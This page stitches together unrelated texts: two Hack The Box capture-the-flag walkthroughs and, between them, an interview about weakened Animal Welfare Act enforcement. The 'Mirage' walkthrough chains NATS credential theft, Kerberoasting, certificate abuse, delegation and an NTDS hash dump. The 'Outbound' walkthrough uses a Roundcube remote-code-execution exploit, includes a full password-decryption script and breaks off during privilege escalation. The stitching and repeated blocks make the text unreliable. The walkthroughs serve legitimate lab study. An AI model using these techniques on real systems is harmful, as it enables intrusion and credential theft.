The showmount -e mirage.htb command reveals that the target is exporting an NFS share named /MirageReports, and it is accessible to everyone. This means the share does not enforce host-based restrictions, allowing any machine to mount it. Since the export is world-accessible, it’s likely a good entry point for enumeration, as you can mount the share locally and inspect its contents for sensitive files, misconfigurations, or clues leading to further access.

The mount attempt failed because the local path /mnt/mirage doesn’t exist on our machine. NFS requires a valid directory to mount a remote share, so before accessing the exported /MirageReports share, we need to create a local mount point.

Creating the directory with mkdir -p /mnt/mirage resolves the issue, allowing us to mount the share and begin enumerating its contents.

The “failed to apply fstab options” error usually comes from stale mount settings or syntax issues. Just rerun the command cleanly or add -o vers=3,nolock – it fixes the problem in HTB.

We corrected the syntax (added -o vers=3,nolock when needed) and re-ran mount -t nfs mirage.htb:/MirageReports /mnt/mirage. The share mounted perfectly and gave us full access to the internal reports.

After mounting the NFS share, ls reveals two PDFs: Incident_Report_Missing_DNS_Record_nats-svc.pdf and Mirage_Authentication_Hardening_Report.pdf. These internal reports likely expose misconfigurations and are key for further enumeration.

This command copies all files from the mounted NFS share at /mnt/mirage into your current working directory using elevated privileges. It allows you to analyze the documents locally without needing to stay connected to the NFS share.

Discovery and Analysis of Internal Reports

After copying, the files should now be available in your current working directory for further analysis.

Reviewing the Incident_Report_Missing_DNS_Record_nats-svc.pdf file revealed an additional hostname: nats-svc.mirage.htb.

Exploiting Missing DNS Entry for NATS Interception on Mirage Machine

The Incident Report showed nats-svc.mirage.htb missing from DNS → internal clients failed to resolve it. We fired up DNSadder.py, added a fake record to our proxy, and hijacked all NATS traffic → full MITM on auth and JetStream (including auth_logs).

Enumerating and Interacting With NATS JetStream

NATS is a messaging system that helps different parts of a company’s software talk to each other. Instead of applications connecting directly, they send messages through NATS, which delivers them quickly and reliably.

To install the NATS command‑line interface on Parrot OS, you can use the Go toolchain included in the system. Simply run the command go install github.com/nats-io/natscli/nats@latest, which downloads and compiles the latest version of the NATS CLI and places it in your Go binaries directory for use.

To verify that the NATS CLI installed correctly, simply run the nats command in your terminal. If the installation was successful, it should display the available subcommands and usage information, confirming that the tool is ready to use.

Checking the auth_logs Stream

nats stream info auth_logs showed a small stream (max 100 messages) on subject logs.auth that currently held 5 messages — perfect for grabbing credentials.

Creating a Pull Consumer

We created a pull consumer named whare1 on the auth_logs stream using Dev_Account_A credentials. It fetches messages one-by-one with explicit acknowledgment, allowing us to retrieve all five stored authentication logs.

Grabbing the Credentials

We fetched the five messages from the auth_logs stream using our whare1 consumer. Every message (subject logs.auth) contained the same authentication event:

• Username: david.jjackson
• Password: pN8kQmn6b86!1234@
• Source IP: 10.10.10.20

All messages were acknowledged and consumed successfully, confirming we now have valid domain credentials.

Extracting Credentials and Kerberos Ticket Operations

The leaked david.jjackson:pN8kQmn6b86!1234@ credentials let us request a Kerberos TGT with impacket-getTGT. The first try failed due to clock skew; after sudo ntpdate -s 10.10.11.78, the second attempt succeeded and saved david.jjackson.ccache

Initial Foothold – david.jjackson Access on Mirage Machine

After syncing time with sudo ntpdate -s 10.10.11.78, the second impacket-getTGT run succeeded and gave us a valid TGT.

This command sets the KRB5CCNAME environment variable to use the david.jjackson.ccache file as the active Kerberos ticket. It tells all Kerberos‑aware tools to use this ticket automatically for authentication instead of a password.

Try running the command again if it doesn’t work on the first attempt.

Lateral Movement Using Cracked SPN Credentials

With david.jjackson’s ticket, we ran impacket-GetUserSPNs -k -no-pass and discovered a crackable Kerberos service ticket ($krb5tgs$23$) for the SPN HTTP/exchange.mirage.htb, belonging to the high-privileged user nathan.aadam (member of Exchange_Admins group).

Cracking the TGS → Password: 3edc#EDC3

We cracked the TGS hash using John and the RockYou wordlist, recovering the password 3edc#EDC3 for nathan.aadam — a weak credential that immediately granted us access to this Exchange Admins group member.

BloodHound Collection and Domain Enumeration on Mirage machine

As nathan.aadam, we ran BloodHound and dumped the entire Active Directory structure for privilege escalation path hunting.

Mark.bbond is a member of the IT Support group, and he has the ForceChangePassword privilege over the user javier.mmarshall.

Javier.mmarshall has ReadGMSAPassword permission on the account Mirage-Service$.

nxc smb dc01.mirage.htb with nathan.aadam initially failed due to clock skew (krb_ap_err_skew). After syncing time again (ntpdate -s 10.10.11.78), authentication succeeded cleanly.

Same clock skew issue hit nxc smb. After ntpdate -s 10.10.11.78, it worked instantly and confirmed valid access as nathan.aadam : 3edc#EDC3 on the DC.

We used the cracked password 3edc#EDC3 to obtain a Kerberos TGT for nathan.aadam (impacket-getTGT). The ticket was saved as nathan.aadam.ccache, giving us full Kerberos access for the next steps

Accessing the DC as nathan.aadam

Connected instantly as nathan.aadam → full PowerShell access on the Domain Controller.

Grabbing the User Flag

We can read the user flag by typing the “type user.txt” command

Escalate to Root Privileges Access on Mirage Machine

Privilege Escalation Attempts and LogonHours Analysis

We checked AD LogonHours. javier.mmarshall had all zeroes → account completely locked out (can’t log in anytime). This hinted the account was disabled but still present for potential abuse.

No default password was detected.

You can transfer the WinPEAS executable to the compromised host by running the upload command inside your Evil‑WinRM session. This pushes the file from your attack machine directly into the victim’s system, allowing you to execute it afterwards for privilege‑escalation enumeration.

No usable credentials were identified.

This command verifies SMB access on dc01.mirage.htb using Kerberos authentication with the mark.bbond credentials. The scan shows the host details and confirms a successful login, indicating that the provided password is valid and SMB authentication for this account works correctly.

The command requests a Kerberos TGT for the user MARK.BBOND using the discovered password 1day@atime. By specifying the domain controller IP, the tool authenticates against the DC and generates a valid ticket. Once successful, the resulting Kerberos ticket is saved locally as MARK.BBOND.ccache for use in later Kerberos‑based operations.

Password Resets, Kerberos Tickets, and Service Account Abuse

A password reset for the account javier.mmarshall was performed using bloodyAD. By authenticating as mark.bbond with Kerberos (-k) and supplying valid domain credentials, the command successfully updated the user’s password to p@ssw0rd123, confirming the operation completed without issues.

Attempting to obtain a TGT for the account javier.mmarshall with impacket-getTGT results in a KDC_ERR_CLIENT_REVOKED error. This indicates the credentials are no longer valid because the account has been disabled or otherwise revoked in Active Directory, preventing any Kerberos authentication from succeeding.

Enabling javier.mmarshall (disabled account)

By running the command shown above, the password update completed successfully.

As mark.bbond, we used BloodyAD to read the msDS-ManagedPassword attribute of the Mirage-Service$ managed service account and instantly retrieved its current plaintext password + NTLM hash.

We used Impacket to request a Kerberos TGT for Mirage-Service$ with its leaked NTLM hash (pass-the-hash). This gave us a valid ticket without ever needing the plaintext password.

We asked the domain CA for a certificate using mark.bbond (now pretending to be dc01$). The CA accepted it and gave us a shiny dc01.pfx file that lets us log in as the real domain controller machine account.

After exporting the Kerberos ticket with export KRB5CCNAME=mark.bbond.ccache, a certificate request is made using Certipy

We requested a certificate for mark.bbond (UPN = dc01$@mirage.htb). The CA issued it without issues → dc01.pfx ready for authentication as the DC machine account.

We cleaned up by resetting mark.bbond’s UPN back to mark.bbond@mirage.htb with Certipy – leaving no obvious traces.

Certificate Abuse and Resource-Based Constrained Delegation (RBCD)

With the dc01.pfx certificate, Certipy authenticated us over LDAPS as MIRAGE\DC01$ – we now had full LDAP control as the domain controller itself.

We used Certipy to grant mark.bbond Resource-Based Constrained Delegation over DC01$ – now mark.bbond can impersonate anyone (including Administrator) to the domain controller.

As mark.bbond, we ran impacket-getST to impersonate DC01$ and request a CIFS ticket for the real DC. Delegation succeeded → valid ticket saved.

The Kerberos ticket was set as the active credential cache by exporting it to the KRB5CCNAME environment variable:

export KRB5CCNAME=DC01$@<a>CIFS_dc01.mirage.htb@MIRAGE.HTB.ccache</a>

export KRB5CCNAME=DC01$@<a>CIFS_dc01.mirage.htb@MIRAGE.HTB.ccache</a>

With the delegated CIFS ticket, we executed impacket-secretdump -k dc01.mirage.htb and successfully dumped the entire NTDS.DIT — every user and machine hash, including Administrator’s, was now ours.

The impacket-getTGT command was executed using the Administrator NTLM hash to request a Kerberos TGT from the Mirage domain controller. The request completed successfully, and the resulting ticket was saved locally as Administrator.ccache.

The evil-winrm command was used to connect to dc01.mirage.htb with Kerberos authentication. Evil‑WinRM initialized successfully, displaying standard warnings about Ruby’s path‑completion limitations and noting that the provided username is unnecessary when a Kerberos ticket is already available. The session then proceeded to establish a connection with the remote host.

We can read the root flag by typing the “type root.txt” command

The post Hack The Box: Mirage Machine Walkthrough – Hard Difficulity appeared first on Threatninja.net.

Interview transcript

Eric White What exactly is at stake here with the enforcement of the Animal Welfare Act? Just give us an overview of What it is and then we can kind of get into what’s going on here.

Joanna Makowska So [it’s] the first law in the United States that protects animals. It’s from the 60s. It is the only one protecting — or the first one protecting — animals in research as well. What it mandates is that USDA [Animal and Plant Health Inspection Service (APHIS)] should be doing inspections of all the licensees and registrants once a year, and they should be enforcing if there are violations. It also mandates an [Institutional Animal Care and Use Committee (IACUC)], which is a institutional organizational-level committee that will approve what’s being done with animals.

Eric White Gotcha. You all did some analysis of the actual enforcement of that rule recently. What exactly are you all finding when it comes to issuing those fines and enforcement measures?

Ashley Ridgeway Yeah, I can take this one if you want, Joanna. Our analysis revealed that following the Supreme Court’s decision in SEC v. Jarkesy, and that was in June of 2024, there was a steep drop in the issuance of fines by USDA-APHIS. So to put this into perspective, we saw just five Animal Welfare Act fines go out in the 14 months after the Jarkesy decision. And this is compared with 63 in the preceding 14-month period. And if you look at a graph of those fines on a month by month basis, you can really see that the drop occurred in late June, early July of 2024, which as I mentioned is right after the Jarkesy decision was released.

Eric White What protections do animals have in laboratories currently under the AWA? Joanna, this one may be more geared towards you. What exactly are you not allowed to use animals for these days when it comes to testing?

Joanna Makowska Yeah, I think the biggest problem with protections for animals in labs is that not all species are covered. And in fact, the species that make up about 90% of the animals that are used are not protected under the Animal Welfare Act. And that’s rats, birds, and mice who are bred for research, as well as fish and other invertebrates. So that’s the first issue. The second issue is that there are fewer mechanisms for enforcement when it comes to research facilities at the hands of the USDA. For example, labs get a registration, not a license. USDA cannot pull registration, they can pull licenses or revoke licenses. So one of the primary mechanisms that the USDA has for enforcement with research facilities are fines. And so if we’re finding that they’re no longer really issuing fines, that is a problem because that’s the primary enforcement they have for these guys.

Eric White Has there been any reasoning that you’ve been given for why that’s occurring? Is there understaffing of actual inspectors and enforcers? And also, what does that entail? Does that include somebody just doing an unannounced visit? Or what does an inspection usually look like when it comes to animal welfare?

Joanna Makowska Yes, the inspections are unannounced, so they will show up and they are expected to conduct an inspection at the time when they show up and it’s supposed to be one per year per facility. Understaffing is an issue and it has long been an issue. In a 2025 report from the USDA’s OIG, we saw that several inspectors noted that there was a lack of sufficient staffing. That they say was a contributing factor in not being able to complete inspections in a timely manner. And a recent article in Science Magazine reported that there were only 77 inspectors in APHIS in late August. And we know that there are about 17,500 licensees and registrants in 2024. So that means that each inspector would have to inspect on average 227 facilities per year. That’s just an unsustainable number. And we also know that APHIS has conducted 9,700 inspections, or just about, in 2024, which means that about 45% of facilities weren’t inspected at all. So we know that staffing issues are impacting USDA’s ability to conduct the inspections. The numbers show that, and reports from staff confirm that. But then a report also revealed that the numbers of actions that the department takes against violation[s] that it actually does document when it does conduct an inspection hasn’t dropped. It’s really the type of action that they take that has changed. So while understaffing impacts their ability to find and document animal welfare violations, this may be a separate issue from how the department chooses to enforce the violations that it does find.

Eric White Are there are restraints and issues inspectors face? I imagine they’re not exactly given a parade every time they show up. Is there an issue there with the growing number of licensees and registrants? Obviously there’s probably not enough of them to cover that all of them but even when they do come out, What sort of challenges are they facing there?

Joanna Makowska We’re not at those facilities; we’re not in those inspections, so we can’t really speculate about what’s going on. We do know from whistleblowers or anonymous people who talk to media that they find that Jarkesy has hamstrung them. They have said that. Why exactly or how we can’t speculate, unfortunately.

Eric White Ashley, getting back to the actual Jarkesy decision, can you just fill us in a little bit on the legal interpretation that you see these court cases? SEC v. Jarkesy, that doesn’t seem like it should have anything to do with the USDA, but how does it apply to the ability to issue fines under the Animal Welfare Act?

Ashley Ridgeway Yeah, you’re exactly right that, you know, on its face, this case would would not be interesting to every animal advocate out there, and you wouldn’t necessarily know the potential connection there. The Supreme Court in Jarkesy held that the Seventh Amendment entitles a party accused of securities fraud to a jury trial if the SEC is seeking to impose a fine on that party. So, now, you know, the SEC cannot continue to use that internal administrative adjudication process to impose fines because that process doesn’t afford the accused a jury trial. So that’s the background there. And there have been some questions more broadly about whether or how this decision might apply to all administrative fines rendered without a jury trial or those outside of the securities fraud context. But I do wanna be clear that the court’s decision It is not automatically applicable to USDA’s enforcement of the Animal Welfare Act. And in fact, you know, the opinion doesn’t state that USDA’s issuance of fines against Animal Welfare Act violators without a jury trial is unconstitutional. And to the contrary, there is some precedent for distinguishing SEC’s administrative enforcement from that of APHIS. But as Joanna mentioned, you know, our data and some quotes from USDA insiders in the media suggest so far that the vision is influencing APHIS’s enforcement activity now. So the way that we can kind of link this is that the USDA also uses an internal administrative process to resolve violations of the Animal Welfare Act, including by issuing fines without a jury trial. So that’s where we can see the comparison. But again, to be clear, the decision in jarkesy is quite specific and it pertains to an agency’s issuance of fines for securities fraud. And we may see courts looking to tailor their analysis in the Seventh Amendment cases like this to the nature of the alleged violations. And of course you can imagine that violations pertaining to animal welfare are gonna be different than securities fraud. So we can’t automatically assume that a court will treat it the exact same way.

Eric White Gotcha. So it’s almost as if this decision came down, it’s more ammo for — if it’s not a priority for whoever’s in charge of actually issuing those fines, it’s something that they may be able to go back to and say, well, you know, I’d like to, but I’m kind of hamstrung here.

Ashley Ridgeway So I can’t attribute any type of, you know, motive to, to what we’re seeing. All I can say is what the data shows, which is that, you know, after this decision came down, we’re seeing far fewer fines come out. And, and like I said, we are seeing USDA insiders or staff members saying that this is the reason why.

Eric White What can be done here? What would the AWI like to see done in order to rectify this? Obviously, I imagine you’d like to see a little bit step up in enforcement and hiring of inspectors. But is there, you know, strengthening of the actual Animal Welfare Act that could be a fix here? Or what do you all have in mind?

Ashley Ridgeway Sure. So first, I will point out that we have seen recent attempts by USDA and APHIS to, you know, hire more staff. So it’s possible that we will see staffing numbers rebound at least a little bit in the near future. That would be great. The more staff that APHIS has to work with, hopefully the better enforcement may follow from that. But there are a few legislative initiatives out there that could improve, could strengthen the Animal Welfare Act or its enforcement. So the first of a few that I can talk about is the Animal welfare Enforcement Improvement Act, which could soon be reintroduced … It could soon be reintroduced. A prior version was introduced in the 118th Congress. So this act would strengthen the licensing process to hold dealers and exhibitors more accountable for violations by, for instance, prohibiting USDA from issuing or renewing a license for a dealer or exhibitor found to have repeatedly violated any federal, state or local animal welfare law, and that’s including the Animal Welfare Act. USDA, under this law, could also permanently revoke a license following a hearing if a dealer or exhibiter has committed multiple animal welfare violations. And then those businesses would, importantly, under this act, be barred from receiving a new license under a different business name or through another business partner — it’s their cousin or their friend. And this is like a current loophole that we often see under the existing law. Another is the Better Care for Animals Act and that stands for Better Collaboration, Accountability and Regulatory Enforcement. This act would require a memo of understanding between USDA and the U.S. Department of Justice, commonly referred to as DOJ, to facilitate better collaboration between the two on federal cases. So that could be a strength there. It would also clarify that the DOJ has the same authority as USDA to enforce the Animal Welfare Act, including seeking license suspensions, revocations, civil penalties or fines, which DOJ would do in a federal court. The final one that I’ll mention is Goldie’s Act, and This would kind of inspire more communication, cooperation between USDA and local authorities. And it would do so in part by requiring USDA to provide a copy of its inspection reports that show violations to local law enforcement officers within 24 hours of the inspection. So you can imagine that that might prompt local authorities to take action for the animals. Everything that we’re talking about here, these are complex problems. This will not all be solved overnight, but certainly strengthening the Animal Welfare Act itself or trying to motivate better enforcement legislatively is a great starting point.

Eric White Joanna, I just want to finish up here with — I’m curious, you know, what exactly are businesses getting out of still using animals for testing? It was an issue that we saw, I would say probably in the early 2000s that had a lot more media representation behind it, but it’s kind of dropped off a little bit. Is it still as prevalent as, you know, it was back then, and if that’s the case, obviously there are going to be more cases for abuse, right?

Joanna Makowska Correct. We haven’t seen a drop off in the numbers of animals used. It’s very much still the case that animals are used in laboratories. We don’t even know the number in the U.S. Because all these species I mentioned aren’t covered, and because they constitute the vast majority of animals used, nobody’s reporting how many are used, right? And we’ve had estimates that count them up to 110 million per year in the U.S. There is a push right now to use alternatives. We have seen increases in technologies that are often referred to as NAMs, which are non-animal methods or novel approach methodologies, depending on who you ask. There is a shift to fund more of these and develop more of these, but they’re not there yet. And if you speak to scientists, they will adamantly say that they cannot fully replace animal use with these models. These models are not developed enough. We don’t have, like, a full replication of a full animal yet. So there’s a big debate in that space right now that’s occurring. You’ve probably seen announcements from the FDA and the NIH who are saying that they’re gonna phase out animal use and use more NAMs. So that’s a huge revolution happening right now. We’re gonna see where it goes. We definitely need a lot of scientists working on development and strengthening of these new methodologies. Yeah, we need to prioritize that if we want to see a decrease.

The post A Supreme Court securities case has frozen animal welfare enforcement across thousands of labs first appeared on Federal News Network.

Introduction to Outbound:

In this write-up, we will explore the “Outbound” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Outbound” machine from Hack The Box by achieving the following objectives:

User Flag:

The initial foothold was achieved by exploiting CVE‑2025‑49113 in Roundcube version 1.6.10 using Tyler’s valid credentials. This vulnerability in the file upload feature allowed remote code execution, enabling a reverse shell that was upgraded to a fully interactive shell. Investigation of the Roundcube configuration revealed the database credentials, which were used to access the MariaDB instance. Within the database, Jacob’s encrypted session data was located and decrypted using the known DES key, revealing his plaintext password. Using this password, SSH authentication was successful, providing access to Jacob’s environment and allowing the retrieval of the user flag.

Root Flag:

Privilege escalation was identified through sudo -l, which showed that the user could execute /usr/bin/below. Research revealed that the installed version of below is vulnerable to CVE‑2025‑27591, which involves a world-writable /var/log/below directory with permissions set to 0777. Exploiting this vulnerability using the publicly available Python PoC allowed execution of commands as root. Leveraging this access, the root flag was retrieved by reading the /root/root.txt file.

Enumerating the Outbound Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV 10.10.11.77 -oA initial   

nmap -sC -sV 10.10.11.77 -oA initial   

Nmap Output:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analysis:

• Port 22: Running OpenSSH 9.6p1, providing secure remote access.
• Port 80: Running nginx 1.24.0, redirecting to the Roundcube webmail portal.

Web Application Exploration:

Accessing the http://mail.outbound.htb portal reveals a Roundcube Webmail interface. We can proceed to log in using the provided credentials.

Entering the Tyler credentials allows us to access the Roundcube Webmail interface.

After accessing the email portal, the inbox appears to be empty.

Roundcube Webmail 1.6.10 service enumeration and analysis on Outbound machine

After logging in, the first step is to check the Roundcube version. In this case, it is running version 1.6.10.

Another way to verify the version is by checking the information embedded in the page’s source code.

After doing some research, I discovered that this version is affected by a known vulnerability, identified as CVE-2025-49113.

CVE‑2025‑49113: Critical Vulnerability in Roundcube on Outbound machine

CVE‑2025‑49113 is a serious vulnerability in Roundcube Webmail versions up to 1.5.9 and 1.6.10. It occurs in the upload.php feature, where certain input parameters are not properly validated. An attacker with valid user credentials can exploit this flaw to execute arbitrary code on the server by sending a specially crafted payload. This can allow the attacker to run commands, install backdoors, or take further control of the system. The vulnerability is particularly dangerous because it requires minimal technical effort once credentials are obtained, and proof-of-concept exploits are publicly available. Applying the patched versions 1.5.10 or 1.6.11 and above is necessary to secure the system.

How the Exploit Works

The script begins by checking whether the Roundcube instance is running a vulnerable version. If it is, it continues with the login process. Once authenticated, it uploads a normal-looking PNG file to the server. During this upload, the exploit carries out two key injections: one targeting the PHP session via the _from parameter in the URL, and another that slips a malicious object into the filename field of the _file parameter. When combined, these injections trigger code execution on the server, allowing the attacker to execute commands remotely.

You can download the Python script from the following repository: https://github.com/00xCanelo/CVE-2025-49113.

This command runs the exploit script and requires four arguments: the target Roundcube URL, a valid username, the corresponding password, and the system command you want the server to execute.

The upload went through successfully.

Unfortunately, it didn’t produce any outcome.

I changed the payload to use a base64‑encoded command.

The attempt failed once more.

I replaced the script with the PHP version from https://github.com/hakaioffsec/CVE-2025-49113-exploit. Unexpectedly, the script hung, and that’s a positive indication.

Finally, it worked successfully.

Tyler user account enumeration and analysis

So, let’s proceed using Tyler’s credentials.

Improve the shell to a full interactive one.

I couldn’t locate any files related to the configuration.

Since the application uses Roundcube, let’s check for the configuration file at /var/www/html/roundcube/config/config.inc.php.

This configuration file defines the essential settings for the Roundcube Webmail installation. It specifies the MySQL database connection using the credentials roundcube:RCDBPass2025 on the local database server, which Roundcube relies on to store its data. The file also sets the IMAP and SMTP servers to localhost on ports 143 and 587, meaning both incoming and outgoing mail services run locally, and Roundcube uses the user’s own login credentials for SMTP authentication. The product name is set to Roundcube Webmail, and the configuration includes a 24‑character DES key used for encrypting IMAP passwords in session data. Additionally, the installation enables the archive and zipdownload plugins and uses the elastic skin for its interface. Overall, this file contains the key operational and security‑sensitive parameters needed for Roundcube to function.

The commands show a successful login to the MariaDB database using the roundcube user account with the password RCDBPass2025. After entering the password, access to the MariaDB monitor is granted, allowing the user to execute SQL commands. The prompt confirms that the server is running MariaDB version 10.11.13 on Ubuntu 24.04, and provides standard information about the database environment, including copyright details and basic usage instructions. This access enables management of the Roundcube database, including querying, updating, or modifying stored data.

The commands demonstrate exploring the MariaDB instance after logging in as the roundcube user. First, show databases; lists all databases on the server, revealing the default information_schema and the roundcube database, which stores the webmail application’s data. Next, use roundcube; switches the context to the Roundcube database, allowing operations within it. Running show tables; displays all the tables in the database, totaling 17, which include tables for caching (cache, cache_index, cache_messages, etc.), email contacts (contacts, contactgroups, contactgroupmembers), user identities (identities, users), and other operational data (session, system, filestore, responses, searches). These tables collectively manage Roundcube’s functionality, storing user accounts, session data, cached messages, and other configuration or runtime information necessary for the webmail system.

This snippet appears to be a serialized Roundcube session or user configuration for the account jacob. It stores settings such as the user ID, username, encrypted password, IMAP server details (localhost:143), mailbox information (e.g., INBOX with 2 unseen messages), session tokens, authentication secret, timezone (Europe/London), UI preferences like skin and layout, and other session-related flags. Essentially, it contains all the data Roundcube needs to manage the user’s session, mailbox view, and preferences while interacting with the webmail interface.

Creating a Python script to recover the plaintext password from encrypted session data.

#!/usr/bin/env python3
import base64
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad

DES_KEY = 'rcmail-!24ByteDESkey*Str'  # Roundcube 3DES key (24 bytes)


def extract_iv_and_data(b64_string):
    """Decode base64 and split into IV + encrypted data."""
    raw = base64.b64decode(b64_string)
    return raw[:8], raw[8:]


def create_cipher(des_key, iv):
    """Return a 3DES CBC cipher instance."""
    key = des_key.encode('utf-8')[:24]
    return DES3.new(key, DES3.MODE_CBC, iv)


def decrypt_value(b64_string, des_key):
    """Decrypt a Roundcube-encrypted base64 string."""
    try:
        iv, encrypted = extract_iv_and_data(b64_string)
        cipher = create_cipher(des_key, iv)

        decrypted_padded = cipher.decrypt(encrypted)

        # Remove padding safely
        try:
            decrypted = unpad(decrypted_padded, DES3.block_size)
        except:
            decrypted = decrypted_padded.rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08')

        return decrypted.decode('utf-8', errors='ignore').strip(), iv, encrypted

    except Exception as e:
        return f"Decryption failed: {str(e)}", None, None


def print_decryption(label, data, des_key):
    """Helper to decrypt and print results in structured form."""
    plaintext, iv, encrypted = decrypt_value(data, des_key)

    print(f"[{label}]")
    print(f"  Base64: {data}")
    print(f"  Plaintext: {plaintext}")

    if iv is not None:
        print(f"  IV: {iv.hex()}")
        print(f"  Encrypted(hex): {encrypted.hex()}")
    print()


def main():
    # Extracted values
    username = "jacob"
    password_b64 = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
    auth_secret_b64 = "DpYqv6maI9HxDL5GhcCd8JaQQW"
    request_token_b64 = "TIsOaABA1zHSXZOBpH6up5XFyayNRHaw"

    print("\n=== Roundcube Password / Token Decryptor ===\n")
    print(f"Using DES Key: {DES_KEY}\n")

    print(f"User: {username}\n")

    print_decryption("Password", password_b64, DES_KEY)
    print_decryption("Auth Secret", auth_secret_b64, DES_KEY)
    print_decryption("Request Token", request_token_b64, DES_KEY)

    print("Decryption Method: 3DES CBC (IV extracted from base64)")


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
import base64
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad

DES_KEY = 'rcmail-!24ByteDESkey*Str'  # Roundcube 3DES key (24 bytes)


def extract_iv_and_data(b64_string):
    """Decode base64 and split into IV + encrypted data."""
    raw = base64.b64decode(b64_string)
    return raw[:8], raw[8:]


def create_cipher(des_key, iv):
    """Return a 3DES CBC cipher instance."""
    key = des_key.encode('utf-8')[:24]
    return DES3.new(key, DES3.MODE_CBC, iv)


def decrypt_value(b64_string, des_key):
    """Decrypt a Roundcube-encrypted base64 string."""
    try:
        iv, encrypted = extract_iv_and_data(b64_string)
        cipher = create_cipher(des_key, iv)

        decrypted_padded = cipher.decrypt(encrypted)

        # Remove padding safely
        try:
            decrypted = unpad(decrypted_padded, DES3.block_size)
        except:
            decrypted = decrypted_padded.rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08')

        return decrypted.decode('utf-8', errors='ignore').strip(), iv, encrypted

    except Exception as e:
        return f"Decryption failed: {str(e)}", None, None


def print_decryption(label, data, des_key):
    """Helper to decrypt and print results in structured form."""
    plaintext, iv, encrypted = decrypt_value(data, des_key)

    print(f"[{label}]")
    print(f"  Base64: {data}")
    print(f"  Plaintext: {plaintext}")

    if iv is not None:
        print(f"  IV: {iv.hex()}")
        print(f"  Encrypted(hex): {encrypted.hex()}")
    print()


def main():
    # Extracted values
    username = "jacob"
    password_b64 = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
    auth_secret_b64 = "DpYqv6maI9HxDL5GhcCd8JaQQW"
    request_token_b64 = "TIsOaABA1zHSXZOBpH6up5XFyayNRHaw"

    print("\n=== Roundcube Password / Token Decryptor ===\n")
    print(f"Using DES Key: {DES_KEY}\n")

    print(f"User: {username}\n")

    print_decryption("Password", password_b64, DES_KEY)
    print_decryption("Auth Secret", auth_secret_b64, DES_KEY)
    print_decryption("Request Token", request_token_b64, DES_KEY)

    print("Decryption Method: 3DES CBC (IV extracted from base64)")


if __name__ == "__main__":
    main()

This Python script is designed to decrypt Roundcube webmail passwords (and similar session tokens) that are stored in 3DES-encrypted form. Key points:

• Decryption Method: Uses 3DES in CBC mode with a 24-byte key (des_key) and an 8-byte IV extracted from the start of the base64-encoded data.
• Encrypted Data Handling: The script first base64-decodes the input, separates the IV (first 8 bytes) from the encrypted payload, and then decrypts it.
• Padding Removal: After decryption, it removes PKCS#5/7 padding with unpad; if that fails, it manually strips extra bytes.
• Target Data: In this example, it decrypts the user jacob’s password (L7Rv00A8TuwJAr67kITxxcSgnIk25Am/) along with the auth_secret and request_token.
• Output: Shows the plaintext password, IV, and encrypted data in hex for analysis.

The decrypted Roundcube credentials reveal the username jacob with the plaintext password 595mO8DmwGeD. These credentials can now be tested for SSH authentication to determine whether the same password is reused across services. Since password reuse is common in misconfigured environments, attempting SSH login with these details may provide direct shell access to the target system.

The email content from Jacob’s mailbox shows two messages. The first, from Tyler, notifies Jacob of a recent password change and provides a temporary password gY4Wr3a1evp4, advising Jacob to update it upon next login. The second email, from Mel, informs Jacob about unexpected high resource consumption on the main server. Mel mentions that resource monitoring has been enabled and that Jacob has been granted privileges to inspect the logs, with a request to report any irregularities immediately. Together, these emails reveal sensitive information including temporary credentials and access responsibilities for server monitoring.

We’re now able to access and read the user flag.

Escalate to Root Privileges Access on the Outbound machine

Privilege Escalation:

Consistent with the earlier hint, sudo -l reveals sudo access to /usr/bin/below.

After investigating below, we found its GitHub project. In the Security section, the advisory GHSA-9mc5-7qhg-fp3w is listed.

